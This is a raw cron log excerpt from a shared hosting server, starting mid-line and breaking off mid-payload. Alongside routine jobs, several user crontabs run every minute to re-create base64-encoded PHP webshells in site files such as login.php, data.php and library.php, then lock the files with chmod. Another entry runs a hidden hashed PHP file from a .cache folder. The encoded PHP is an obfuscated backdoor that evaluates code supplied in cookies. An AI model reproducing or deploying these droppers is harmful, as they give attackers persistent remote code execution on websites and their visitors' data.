X2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:32:01 medusa CROND[28923]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:32:01 medusa CROND[28922]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:32:01 medusa CROND[28924]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:32:01 medusa CROND[28936]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:33:01 medusa CROND[12416]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:33:01 medusa CROND[12521]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:33:01 medusa CROND[12522]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:33:01 medusa CROND[12523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:33:01 medusa CROND[12524]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:33:01 medusa CROND[12527]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:33:01 medusa CROND[12530]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:33:01 medusa CROND[12531]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:33:01 medusa CROND[12538]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:33:01 medusa CROND[12543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:33:01 medusa CROND[12544]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:33:01 medusa CROND[12546]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:34:01 medusa CROND[30917]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:34:01 medusa CROND[30920]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:34:01 medusa CROND[30921]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:34:01 medusa CROND[30919]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:34:01 medusa CROND[30916]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:34:01 medusa CROND[30918]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:34:01 medusa CROND[30922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:34:01 medusa CROND[30923]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:34:01 medusa CROND[30935]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:34:01 medusa CROND[30936]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:34:01 medusa CROND[30937]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:34:01 medusa CROND[30943]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUq